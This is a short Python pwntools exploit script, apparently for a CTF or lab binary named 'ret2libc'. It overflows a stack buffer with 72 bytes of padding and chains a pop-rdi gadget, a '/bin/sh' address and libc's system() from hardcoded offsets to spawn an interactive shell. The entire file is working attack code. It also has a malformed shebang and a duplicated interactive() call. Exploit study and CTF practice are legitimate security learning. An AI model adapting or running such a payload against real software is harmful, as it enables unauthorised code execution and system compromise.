exploit.py

#!/usr/env/python2
# Author : 7h3h4ckv157
# https://github.com/7h3h4ckv157
# https://twitter.com/7h3h4ckv157


from pwn import *

p = process('./ret2libc')

libc_base_address = 0x00007ffff7dc0000  #----------> Base address of libc
system_fun = libc_base_address + 0x49de0  #--------> Address of system function
bin_sh = libc_base_address + 0x18bb62  #-----------> Argument /bin/sh
gadget = 0x004011e3  #-----------------------------> POP rdi

payload = "A" * 72
payload += p64(gadget)
payload += p64(bin_sh)
payload += p64(system_fun)

p.clean()
p.sendline(payload)

p.interactive()
p.interactive()